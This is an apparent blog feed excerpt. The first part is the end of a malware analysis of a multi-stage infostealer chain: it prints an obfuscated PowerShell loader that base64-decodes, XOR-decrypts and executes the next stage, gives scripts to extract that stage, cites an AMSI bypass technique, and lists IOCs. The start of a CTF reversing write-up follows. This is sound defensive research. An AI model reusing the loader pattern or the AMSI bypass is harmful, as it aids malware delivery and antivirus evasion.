font-style: inherit;">Text</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">.</span><span class="fu" style="color: #4758AB;
background-color: null;
font-style: inherit;">Encoding</span> <span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">-as</span> <span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">[</span>Type<span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">])::</span>UTF8<span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">.</span><span class="fu" style="color: #4758AB;
background-color: null;
font-style: inherit;">GetBytes</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">((</span>System<span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">.</span><span class="fu" style="color: #4758AB;
background-color: null;
font-style: inherit;">Text</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">.</span><span class="fu" style="color: #4758AB;
background-color: null;
font-style: inherit;">Encoding</span> <span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">-as</span> <span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">[</span>Type<span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">])::</span>UTF8<span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">.</span><span class="fu" style="color: #4758AB;
background-color: null;
font-style: inherit;">GetString</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">((</span>System<span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">.</span><span class="fu" style="color: #4758AB;
background-color: null;
font-style: inherit;">Convert</span> <span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">-as</span> <span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">[</span>Type<span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">])::</span>FromBase64String<span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">((</span>System<span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">.</span><span class="fu" style="color: #4758AB;
background-color: null;
font-style: inherit;">Text</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">.</span><span class="fu" style="color: #4758AB;
background-color: null;
font-style: inherit;">Encoding</span> <span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">-as</span> <span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">[</span>Type<span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">])::</span>UTF8<span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">.</span><span class="fu" style="color: #4758AB;
background-color: null;
font-style: inherit;">GetString</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">(</span><span class="va" style="color: #111111;
background-color: null;
font-style: inherit;">$raw_data</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">))));</span></span>
<span id="cb14-4"><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">((</span>Scriptblock <span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">-as</span> <span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">[</span>Type<span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">])::(</span>Create<span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">)(</span></span>
<span id="cb14-5">    <span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">((</span>System<span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">.</span><span class="fu" style="color: #4758AB;
background-color: null;
font-style: inherit;">Text</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">.</span><span class="fu" style="color: #4758AB;
background-color: null;
font-style: inherit;">Encoding</span> <span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">-as</span> <span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">[</span>Type<span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">])::</span>UTF8<span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">.</span><span class="fu" style="color: #4758AB;
background-color: null;
font-style: inherit;">GetString</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">(</span></span>
<span id="cb14-6">        <span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">$(</span><span class="cf" style="color: #003B4F;
background-color: null;
font-weight: bold;
font-style: inherit;">for</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">(</span><span class="va" style="color: #111111;
background-color: null;
font-style: inherit;">$i</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">=</span><span class="dv" style="color: #AD0000;
background-color: null;
font-style: inherit;">0</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">;</span> <span class="va" style="color: #111111;
background-color: null;
font-style: inherit;">$i</span> <span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">-lt</span> <span class="va" style="color: #111111;
background-color: null;
font-style: inherit;">$data</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">.</span><span class="fu" style="color: #4758AB;
background-color: null;
font-style: inherit;">length</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">;)</span> <span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">{</span></span>
<span id="cb14-7">            <span class="cf" style="color: #003B4F;
background-color: null;
font-weight: bold;
font-style: inherit;">for</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">(</span><span class="va" style="color: #111111;
background-color: null;
font-style: inherit;">$j</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">=</span><span class="dv" style="color: #AD0000;
background-color: null;
font-style: inherit;">0</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">;</span> <span class="va" style="color: #111111;
background-color: null;
font-style: inherit;">$j</span> <span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">-lt</span> <span class="va" style="color: #111111;
background-color: null;
font-style: inherit;">$key</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">.</span><span class="fu" style="color: #4758AB;
background-color: null;
font-style: inherit;">length</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">;</span> <span class="va" style="color: #111111;
background-color: null;
font-style: inherit;">$j</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">++)</span> <span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">{</span></span>
<span id="cb14-8">                <span class="va" style="color: #111111;
background-color: null;
font-style: inherit;">$data</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">[</span><span class="va" style="color: #111111;
background-color: null;
font-style: inherit;">$i</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">]</span> <span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">-bxor</span> <span class="va" style="color: #111111;
background-color: null;
font-style: inherit;">$key</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">[</span><span class="va" style="color: #111111;
background-color: null;
font-style: inherit;">$j</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">];</span></span>
<span id="cb14-9">                <span class="va" style="color: #111111;
background-color: null;
font-style: inherit;">$i</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">++;</span></span>
<span id="cb14-10">                <span class="cf" style="color: #003B4F;
background-color: null;
font-weight: bold;
font-style: inherit;">if</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">(</span><span class="va" style="color: #111111;
background-color: null;
font-style: inherit;">$i</span> <span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">-ge</span> <span class="va" style="color: #111111;
background-color: null;
font-style: inherit;">$data</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">.</span><span class="fu" style="color: #4758AB;
background-color: null;
font-style: inherit;">length</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">){</span></span>
<span id="cb14-11">                    <span class="va" style="color: #111111;
background-color: null;
font-style: inherit;">$j</span> <span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">=</span> <span class="va" style="color: #111111;
background-color: null;
font-style: inherit;">$key</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">.</span><span class="fu" style="color: #4758AB;
background-color: null;
font-style: inherit;">length</span></span>
<span id="cb14-12">                <span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">}</span></span>
<span id="cb14-13">            <span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">}</span></span>
<span id="cb14-14">        <span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">})</span></span>
<span id="cb14-15">    <span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">))</span></span>
<span id="cb14-16"><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">)).(</span>Invoke<span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">)()</span></span></code></pre></div></div>
<p>The decryption process works as follows:</p>
<ol type="1">
<li>Base64-decode the large data array</li>
<li>XOR the decoded data with the key <code>"AMSI_RESULT_NOT_DETECTED"</code></li>
<li>Execute the resulting PowerShell code using <code>Invoke()</code></li>
</ol>
</section>
<section id="decrypting-the-next-payload" class="level3">
<h3 class="anchored" data-anchor-id="decrypting-the-next-payload">Decrypting the Next Payload</h3>
<p>To extract the next stage, I had two options:</p>
<ol type="1">
<li>Modify the PowerShell script to write the decrypted payload to a new file</li>
<li>Create a Python script to replicate the decryption process</li>
</ol>
<p>I implemented both approaches, because yes.</p>
<section id="powershell-patch" class="level4">
<h4 class="anchored" data-anchor-id="powershell-patch">Powershell Patch</h4>
<p>Remove the last <em>Invoke</em> line and add the following line to write the contents to a new file.</p>
<div class="code-copy-outer-scaffold"><div class="sourceCode" id="cb15" style="background: #f1f3f5;"><pre class="sourceCode ps1 code-overflow-wrap code-with-copy"><code class="sourceCode powershell"><span id="cb15-1"><span class="fu" style="color: #4758AB;
background-color: null;
font-style: inherit;">Out-File</span> <span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">-</span>FilePath <span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">.</span>\3_2<span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">.</span><span class="fu" style="color: #4758AB;
background-color: null;
font-style: inherit;">ps1</span> <span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">-</span>InputObject <span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">(</span><span class="va" style="color: #111111;
background-color: null;
font-style: inherit;">$zNfeqTmNMVjC</span> <span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">-as</span> <span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">[</span>Type<span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">])::</span><span class="va" style="color: #111111;
background-color: null;
font-style: inherit;">$RzBEsmYJFJvleMLWMRDc</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">.</span><span class="va" style="color: #111111;
background-color: null;
font-style: inherit;">$ftvmUrMVeGqhcbfY</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">($(</span><span class="cf" style="color: #003B4F;
background-color: null;
font-weight: bold;
font-style: inherit;">for</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">(</span><span class="va" style="color: #111111;
background-color: null;
font-style: inherit;">$i</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">=</span><span class="dv" style="color: #AD0000;
background-color: null;
font-style: inherit;">0</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">;</span><span class="va" style="color: #111111;
background-color: null;
font-style: inherit;">$i</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">-lt</span><span class="va" style="color: #111111;
background-color: null;
font-style: inherit;">$yJnBuUCkdg</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">.</span><span class="va" style="color: #111111;
background-color: null;
font-style: inherit;">$eKXCNQlUlOmSwCy</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">;){</span><span class="cf" style="color: #003B4F;
background-color: null;
font-weight: bold;
font-style: inherit;">for</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">(</span><span class="va" style="color: #111111;
background-color: null;
font-style: inherit;">$j</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">=</span><span class="dv" style="color: #AD0000;
background-color: null;
font-style: inherit;">0</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">;</span><span class="va" style="color: #111111;
background-color: null;
font-style: inherit;">$j</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">-lt</span><span class="va" style="color: #111111;
background-color: null;
font-style: inherit;">$ZohLcP</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">.</span><span class="va" style="color: #111111;
background-color: null;
font-style: inherit;">$eKXCNQlUlOmSwCy</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">;</span><span class="va" style="color: #111111;
background-color: null;
font-style: inherit;">$j</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">++){</span><span class="va" style="color: #111111;
background-color: null;
font-style: inherit;">$yJnBuUCkdg</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">[</span><span class="va" style="color: #111111;
background-color: null;
font-style: inherit;">$i</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">]-bxor</span><span class="va" style="color: #111111;
background-color: null;
font-style: inherit;">$ZohLcP</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">[</span><span class="va" style="color: #111111;
background-color: null;
font-style: inherit;">$j</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">];</span><span class="va" style="color: #111111;
background-color: null;
font-style: inherit;">$i</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">++;</span><span class="cf" style="color: #003B4F;
background-color: null;
font-weight: bold;
font-style: inherit;">if</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">(</span><span class="va" style="color: #111111;
background-color: null;
font-style: inherit;">$i</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">-ge</span><span class="va" style="color: #111111;
background-color: null;
font-style: inherit;">$yJnBuUCkdg</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">.</span><span class="va" style="color: #111111;
background-color: null;
font-style: inherit;">$eKXCNQlUlOmSwCy</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">){</span><span class="va" style="color: #111111;
background-color: null;
font-style: inherit;">$j</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">=</span><span class="va" style="color: #111111;
background-color: null;
font-style: inherit;">$ZohLcP</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">.</span><span class="va" style="color: #111111;
background-color: null;
font-style: inherit;">$eKXCNQlUlOmSwCy</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">}}}))</span></span></code></pre></div></div>
</section>
<section id="python-script" class="level4">
<h4 class="anchored" data-anchor-id="python-script">Python Script</h4>
<p>Copy the data array into a new file, and manually decrypt its contents.</p>
<div class="code-copy-outer-scaffold"><div class="sourceCode" id="cb16" style="background: #f1f3f5;"><pre class="sourceCode python code-with-copy"><code class="sourceCode python"><span id="cb16-1"><span class="im" style="color: #00769E;
background-color: null;
font-style: inherit;">from</span> pwn <span class="im" style="color: #00769E;
background-color: null;
font-style: inherit;">import</span> xor, b64d</span>
<span id="cb16-2"></span>
<span id="cb16-3"><span class="cf" style="color: #003B4F;
background-color: null;
font-weight: bold;
font-style: inherit;">with</span> <span class="bu" style="color: null;
background-color: null;
font-style: inherit;">open</span>(<span class="st" style="color: #20794D;
background-color: null;
font-style: inherit;">"3_1.array"</span>, <span class="st" style="color: #20794D;
background-color: null;
font-style: inherit;">"r"</span>) <span class="im" style="color: #00769E;
background-color: null;
font-style: inherit;">as</span> f:</span>
<span id="cb16-4">    data_array <span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">=</span> f.read()</span>
<span id="cb16-5"></span>
<span id="cb16-6"><span class="co" style="color: #5E5E5E;
background-color: null;
font-style: inherit;"># transform data</span></span>
<span id="cb16-7">data_bytes <span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">=</span> <span class="st" style="color: #20794D;
background-color: null;
font-style: inherit;">b""</span></span>
<span id="cb16-8"><span class="cf" style="color: #003B4F;
background-color: null;
font-weight: bold;
font-style: inherit;">for</span> i <span class="kw" style="color: #003B4F;
background-color: null;
font-weight: bold;
font-style: inherit;">in</span> data_array.split(<span class="st" style="color: #20794D;
background-color: null;
font-style: inherit;">","</span>):</span>
<span id="cb16-9">    data_bytes <span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">+=</span> <span class="bu" style="color: null;
background-color: null;
font-style: inherit;">chr</span>(<span class="bu" style="color: null;
background-color: null;
font-style: inherit;">int</span>(i)).encode()</span>
<span id="cb16-10"></span>
<span id="cb16-11"><span class="co" style="color: #5E5E5E;
background-color: null;
font-style: inherit;"># base64 decode</span></span>
<span id="cb16-12">data_bytes_b64d <span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">=</span> b64d(data_bytes)</span>
<span id="cb16-13"></span>
<span id="cb16-14"><span class="co" style="color: #5E5E5E;
background-color: null;
font-style: inherit;"># xor decrypt</span></span>
<span id="cb16-15">key <span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">=</span> <span class="st" style="color: #20794D;
background-color: null;
font-style: inherit;">b"AMSI_RESULT_NOT_DETECTED"</span></span>
<span id="cb16-16">data_decrypted <span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">=</span> xor(data_bytes_b64d, key)</span>
<span id="cb16-17"></span>
<span id="cb16-18"><span class="cf" style="color: #003B4F;
background-color: null;
font-weight: bold;
font-style: inherit;">with</span> <span class="bu" style="color: null;
background-color: null;
font-style: inherit;">open</span>(<span class="st" style="color: #20794D;
background-color: null;
font-style: inherit;">"3_2_python_extracted.ps1"</span>, <span class="st" style="color: #20794D;
background-color: null;
font-style: inherit;">"wb"</span>) <span class="im" style="color: #00769E;
background-color: null;
font-style: inherit;">as</span> f:</span>
<span id="cb16-19">    f.write(data_decrypted)</span></code></pre></div></div>
<div class="callout callout-style-default callout-warning callout-titled">
<div class="callout-header d-flex align-content-center">
<div class="callout-icon-container">
<i class="callout-icon"></i>
</div>
<div class="callout-title-container flex-fill">
Warning
</div>
</div>
<div class="callout-body-container callout-body">
<p>While verifying the integrity of the extracted payloads, I discovered that the <a href="https://learn.microsoft.com/en-us/powershell/module/microsoft.powershell.utility/out-file?view=powershell-7.5"><code>Out-File</code></a> command adds a newline at the end of the file, creating a file with a completely different hash signature:</p>
<div class="code-copy-outer-scaffold"><div class="sourceCode" id="cb17" style="background: #f1f3f5;"><pre class="sourceCode default code-with-copy"><code class="sourceCode default"><span id="cb17-1">$ diff 3_2.ps1 3_2_python_extracted.ps1 </span>
<span id="cb17-2">181c181</span>
<span id="cb17-3">&lt; }</span>
<span id="cb17-4">---</span>
<span id="cb17-5">&gt; }</span>
<span id="cb17-6">\ No newline at end of file</span>
<span id="cb17-7">$ sha256sum 3_2.ps1 3_2_python_extracted.ps1</span>
<span id="cb17-8">8572ea8a0dc7492ee92d22463e81211459fa1ff714b39b6b34df05edf185dfc8  3_2.ps1</span>
<span id="cb17-9">98fbcad12a3d2bf3daa8ba9516b13dc15797d25d25241a77974f94bf804b9f51  3_2_python_extracted.ps1</span></code></pre></div></div>
<p>This issue can be resolved by using the <code>-NoNewline</code> parameter with <code>Out-File</code>.</p>
</div>
</div>
</section>
</section>
</section>
<section id="fourth-stage" class="level2">
<h2 class="anchored" data-anchor-id="fourth-stage">Fourth Stage</h2>
<p>The decrypted payload is yet another PowerShell script, this time containing an additional encrypted payload:</p>
<div class="code-copy-outer-scaffold"><div class="sourceCode" id="cb18" style="background: #f1f3f5;"><pre class="sourceCode default code-with-copy"><code class="sourceCode default"><span id="cb18-1">$ file 3_2.ps1 </span>
<span id="cb18-2">3_2.ps1: ASCII text, with very long lines (54612)</span></code></pre></div></div>
<p>I renamed the file from <code>3_2.ps1</code> to <code>4.ps1</code>.</p>
<section id="amsi-bypass" class="level3">
<h3 class="anchored" data-anchor-id="amsi-bypass">AMSI Bypass</h3>
<p><img src="https://0xlibris.net/posts/infection_chain_infostealer/img/4_ps1_1.png" title="Powershell script with an amsi bypass" class="img-fluid"></p>
<p>A quick search revealed that this script implements the “Patching AmsiScanBuffer in clr.dll” AMSI bypass technique, documented in the <a href="https://github.com/S3cur3Th1sSh1t/Amsi-Bypass-Powershell">Amsi-Bypass-Powershell</a> repository by S3cur3Th1sSh1t. This technique was disclosed on November 21, 2024, in a <a href="https://practicalsecurityanalytics.com/new-amsi-bypss-technique-modifying-clr-dll-in-memory/">Practical Security Analytics</a> article.</p>
<p>After implementing the AMSI bypass, the script defines another payload variable followed by execution code:</p>
<p><img src="https://0xlibris.net/posts/infection_chain_infostealer/img/4_ps1_2.png" title="Execution code after the AMSI bypass" class="img-fluid"></p>
<p>This final payload is base64-encoded and loaded as an assembly into the current application domain, along with any required parameters.</p>
<p>To extract this final payload, a simple base64 decoding is sufficient:</p>
<div class="code-copy-outer-scaffold"><div class="sourceCode" id="cb19" style="background: #f1f3f5;"><pre class="sourceCode default code-with-copy"><code class="sourceCode default"><span id="cb19-1">$ base64 -d 4.b64 &gt; 5</span></code></pre></div></div>
</section>
</section>
<section id="final-stage" class="level2">
<h2 class="anchored" data-anchor-id="final-stage">Final Stage (?)</h2>
<p>After successfully decoding, deobfuscating, and decrypting the previous stages, we reach what appears to be the final payload in this sophisticated infection chain:</p>
<div class="code-copy-outer-scaffold"><div class="sourceCode" id="cb20" style="background: #f1f3f5;"><pre class="sourceCode default code-with-copy"><code class="sourceCode default"><span id="cb20-1">$ file 5</span>
<span id="cb20-2">4: PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows</span></code></pre></div></div>
<p>As the binary is a .NET executable, I renamed from <code>5</code> to <code>5.exe</code> for clarity.</p>
<section id="malware-identification" class="level3">
<h3 class="anchored" data-anchor-id="malware-identification">Malware Identification</h3>
<p>I submitted the <a href="https://www.virustotal.com/gui/file/1d6c7ba815f7d0404aae5e11958abbe8452bbfd08eb720f80b64196d613c5c45">sample</a> to VirusTotal on 2025-03-10, and the detection results have increased over the last past days.</p>
<p><img src="https://0xlibris.net/posts/infection_chain_infostealer/img/vt_detections_evolution.png" title="VirusTotal detections evolution" class="img-fluid"></p>
<p>The detection signatures indicate that this is a sample from the “Heracles” malware family. This infostealer is known for targeting credentials and cryptocurrency wallets.</p>
<p><img src="https://0xlibris.net/posts/infection_chain_infostealer/img/vt_detections.png" title="VirusTotal detections one week later first upload" class="img-fluid"></p>
<p>According to a detailed <a href="https://www.sonicwall.com/blog/new-heracles-stealer-in-the-wild">blog post by SonicWall</a>, the .NET binary identified here closely matches the characteristics of Heracles samples they have previously analyzed.</p>
<p>I may analyze the final payload in a future post.</p>
<div class="callout callout-style-default callout-note callout-titled" title="Note from the future">
<div class="callout-header d-flex align-content-center">
<div class="callout-icon-container">
<i class="callout-icon"></i>
</div>
<div class="callout-title-container flex-fill">
<span class="screen-reader-only">Note</span>Note from the future
</div>
</div>
<div class="callout-body-container callout-body">
<p>It was nothing related to “Heracles”, it was <strong>PureCrypter</strong>.</p>
<p>See next post <a href="../infection_chain_infostealer_2">here</a></p>
</div>
</div>
</section>
</section>
<section id="conclusion" class="level2">
<h2 class="anchored" data-anchor-id="conclusion">Conclusion</h2>
<p>This investigation reveals a complex, multi-stage infection chain:</p>
<ol type="1">
<li><strong>Initial Stage</strong>: Social engineering using a fake CAPTCHA verification on a legitimate-looking website that executes an <code>mshta</code> command</li>
<li><strong>Second Stage</strong>: Malware disguised as an mp3 audio file with an embedded HTA payload with multiple layers of encoding / encryption</li>
<li><strong>Third Stage</strong>: A disguised Excel template file (.xlt) containing a heavily obfuscated PowerShell script with XOR encryption</li>
<li><strong>Fourth Stage</strong>: Implementation of AMSI bypass techniques to evade Microsoft’s antimalware scanning</li>
<li><strong>Final Stage</strong>: Deployment of the Heracles infostealer .NET executable</li>
</ol>
<p>This is a crappy diagram of the infection chain:</p>
<p><img src="https://0xlibris.net/posts/infection_chain_infostealer/img/infection_chain.drawio.png" title="Infection chain diagram made with drawio" class="img-fluid"></p>
<p>Multiple evasion techniques were employed:</p>
<ul>
<li>File type disguising across multiple formats</li>
<li>Multi-layered encryption and encoding</li>
<li>Anti-debugging techniques</li>
<li>Memory-based AMSI bypassing</li>
<li>Legitimate application and file format abuse</li>
</ul>
<p>The infection chain’s complexity and use of the latest AMSI bypass techniques suggest that this is the work of a sophisticated threat actor.</p>
</section>
<section id="iocs" class="level2">
<h2 class="anchored" data-anchor-id="iocs">IOCs</h2>
<section id="hashes" class="level3">
<h3 class="anchored" data-anchor-id="hashes">Hashes</h3>
<pre><code>dffdda5092b49622eb45606a32a23015c08e81df9fc4a8ba75bc1f6c32fa1b8e
57b2cb1adb81aaab06200bd39717974236016959792ff7cc8d1f4536efa69b9d
98fbcad12a3d2bf3daa8ba9516b13dc15797d25d25241a77974f94bf804b9f51
1d6c7ba815f7d0404aae5e11958abbe8452bbfd08eb720f80b64196d613c5c45</code></pre>
</section>
<section id="urls" class="level3">
<h3 class="anchored" data-anchor-id="urls">URLs</h3>
<pre><code>http://incognito[.]uploads[.]it[.]com
https://ne1[.]discoverconicalcrouton[.]shop/f38186770bffa4a12a7170942b9c0d71ac736142924da24a.xlt</code></pre>


</section>
</section>

<a onclick="window.scrollTo(0, 0); return false;" id="quarto-back-to-top"><i class="bi bi-arrow-up"></i> Back to top</a> ]]></description>
  <category>malware</category>
  <category>reversing</category>
  <category>cyberchef</category>
  <guid>https://0xlibris.net/posts/infection_chain_infostealer/</guid>
  <pubDate>Mon, 17 Mar 2025 00:00:00 GMT</pubDate>
  <media:content url="https://0xlibris.net/posts/infection_chain_infostealer/img/fake_captcha_instructions.png" medium="image" type="image/png" height="74" width="144"/>
</item>
<item>
  <title>Carrot</title>
  <link>https://0xlibris.net/posts/metactf_2025_feb_carrot/</link>
  <description><![CDATA[ 






<section id="introduction" class="level2">
<h2 class="anchored" data-anchor-id="introduction">Introduction</h2>
<p>This is my solution to the reversing challenge from the Meta Flash CTF of February 2025, titled “<strong>Carrot</strong>.”</p>
<p>Problem description:</p>
<blockquote class="blockquote">
<p>Our threat intelligence has found a malware sample that seems heavily targeted at our competitor, MeatCTF. We tried to analyze it, but it just does nothing when we run it in a VM, can you help us analyze this?</p>
<p>Download the sample <em>here</em> and unzip with the password <code>infected</code></p>
</blockquote>
<p>The <em>infected</em> password suggests that it may be some malware, and the description that it may contain anti-debugging or vm-detection properties.</p>
<p>This was the perfect excuse to solve it statically and forget the whole Flash CTF.</p>
</section>
<section id="first-analysis" class="level2">
<h2 class="anchored" data-anchor-id="first-analysis">First analysis</h2>
<p>The binary is a stripped 64-bit ELF.</p>
<div class="code-copy-outer-scaffold"><div class="sourceCode" id="cb1" style="background: #f1f3f5;"><pre class="sourceCode default code-with-copy"><code class="sourceCode default"><span id="cb1-1">$ file carrot</span>
<span id="cb1-2">carrot: ELF 64-bit LSB pie executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=fd82f7845645aea67dee789f5cac0de456e83108, for GNU/Linux 4.4.0, stripped</span></code></pre></div></div>
<p>Running the command <code>iz</code> in radare, to get the strings of the binary, gives me very interesting clues that I will be unveiling when looking deeper.</p>
<p><img src="https://0xlibris.net/posts/metactf_2025_feb_carrot/img/r2_iz.png" title="strings of the binary using r2 iz command" class="img-fluid"></p>
<p>The binary imports <code>libcurl</code> and <code>libcrypto</code>, and the imported functions also give more information about the capabilities of the <em>malware</em>.</p>
<div class="code-copy-outer-scaffold"><div class="sourceCode" id="cb2" style="background: #f1f3f5;"><pre class="sourceCode sh code-with-copy"><code class="sourceCode bash"><span id="cb2-1"><span class="ex" style="color: null;
background-color: null;
font-style: inherit;">[0x00002450]</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">&gt;</span> il</span>
<span id="cb2-2"><span class="ex" style="color: null;
background-color: null;
font-style: inherit;">libcurl.so.4</span></span>
<span id="cb2-3"><span class="ex" style="color: null;
background-color: null;
font-style: inherit;">libcrypto.so.3</span></span>
<span id="cb2-4"><span class="ex" style="color: null;
background-color: null;
font-style: inherit;">libc.so.6</span></span></code></pre></div></div>
<p>Some interesting imported functions are <a href="https://www.man7.org/linux/man-pages/man2/ptrace.2.html"><code>ptrace</code></a> or <a href="https://www.man7.org/linux/man-pages/man3/difftime.3.html"><code>difftime</code></a>, commonly used for anti-debugging, <code>PEM_read_bio_RSA_PUBKEY</code> and <code>RSA_public_encrypt</code> for encryption using a public key, <code>EVP_aes_128_cbc</code>, <code>EVP_CIPHER_CTX_new</code>, <code>EVP_DecryptInit_ex</code> or <code>EVP_EncryptInit_ex</code> for symmetric encryption and <code>curl_global_init</code> for comunication with an external (C2?) server using <code>libcurl</code>.</p>
<p>There are also different custom functions with moderate complexity, and I decided to use Ghidra to continue the analysis.</p>
</section>
<section id="lots-of-checks" class="level2">
<h2 class="anchored" data-anchor-id="lots-of-checks">Lots of checks</h2>
<p>The first thing when looking at the main function, is a long list of <em>if-conditional</em> statements. The functions and variables were renamed by me to help with the understanding.</p>
